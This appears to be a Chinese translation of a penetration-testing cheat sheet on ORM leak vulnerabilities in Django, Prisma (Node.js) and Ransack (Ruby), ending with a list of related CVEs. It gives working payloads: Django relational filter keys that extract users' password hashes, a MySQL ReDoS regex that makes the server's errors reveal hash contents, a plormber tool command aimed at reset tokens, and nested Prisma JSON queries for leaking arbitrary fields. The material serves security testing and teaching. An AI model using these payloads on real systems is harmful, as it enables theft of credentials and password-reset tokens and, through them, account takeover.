ORM 泄漏 (ORM Leak)
ORM 泄漏漏洞发生在由于对 ORM 查询处理不当而导致敏感信息(如数据库结构或用户数据)被意外公开时。如果应用程序返回原始错误消息、调试信息,或者允许攻击者以揭示底层数据的方式操纵查询,就可能会发生这种情况。
摘要 (Summary)
Django (Python)
以下代码是 ORM 查询数据库的一个基础示例。
问题在于 Django ORM 如何使用关键字参数语法来构建 QuerySets。通过利用解包运算符 (**),用户可以动态控制传递给 filter 方法的关键字参数,从而允许他们根据自己的需要过滤结果。
查询过滤器 (Query filter)
攻击者可以控制用于过滤结果的列。
ORM 提供了用于匹配部分值的运算符。这些运算符可以在生成的查询中使用 SQL LIKE 条件,基于用户控制的模式执行正则匹配,或应用比较运算符如 < 和 >。
值得尝试的过滤器:
__startswith__contains__regex
关系过滤 (Relational Filtering)
让我们使用来自 Alex Brown 的《PLORMBING YOUR DJANGO ORM》 中的精彩示例。

我们可以看到两种类型的关系:
- 一对一关系 (One-to-One relationships)
- 多对多关系 (Many-to-Many Relationships)
一对一 (One-to-One)
通过创建文章的用户进行过滤,并且该用户的密码包含字符 p。
多对多 (Many-to-Many)
基本相同,但你需要进行更多过滤。
- 获取用户 ID:
created_by__departments__employees__user__id - 对于每个 ID,获取用户名:
created_by__departments__employees__user__username - 最后,泄露他们的密码哈希:
created_by__departments__employees__user__password
在同一个请求中使用多个过滤器:
{
"created_by__departments__employees__user__username__startswith": "p",
"created_by__departments__employees__user__id": 1
}
基于错误的泄露 - ReDOS (Error-based leaking - ReDOS)
如果 Django 使用 MySQL,你还可以滥用 ReDOS,在过滤器与条件不匹配时强行触发错误。
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => 返回某些内容 (表示匹配)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
// => 返回 500 错误 (正则表达式匹配超时,表示不匹配)
Prisma (Node.JS)
工具 (Tools):
-
elttam/plormber - 用于利用基于时间的 ORM 泄露漏洞的工具
plormber prisma-contains \ --chars '0123456789abcdef' \ --base-query-json '{"query": {PAYLOAD}}' \ --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \ --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \ --verbose-stats \ https://some.vuln.app/articles/time-based;
示例 (Example):
Node.JS 中使用 Prisma 的 ORM 泄露示例。
使用 include 返回创建了文章的用户记录的所有字段:
仅选择一个字段:
关系过滤 (Relational Filtering)
一对一 (One-to-One)
多对多 (Many-to-Many)
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Ransack (Ruby)
仅限 Ransack < 4.0.0 版本。

-
提取用户的
reset_password_token(密码重置令牌) 字段 -
目标特定用户并提取其
recoveries_key(恢复密钥)
CVE 实例 (CVE)
- CVE-2023-47117: Label Studio ORM 泄露
- CVE-2023-31133: Ghost CMS ORM 泄露
- CVE-2023-30843: Payload CMS ORM 泄露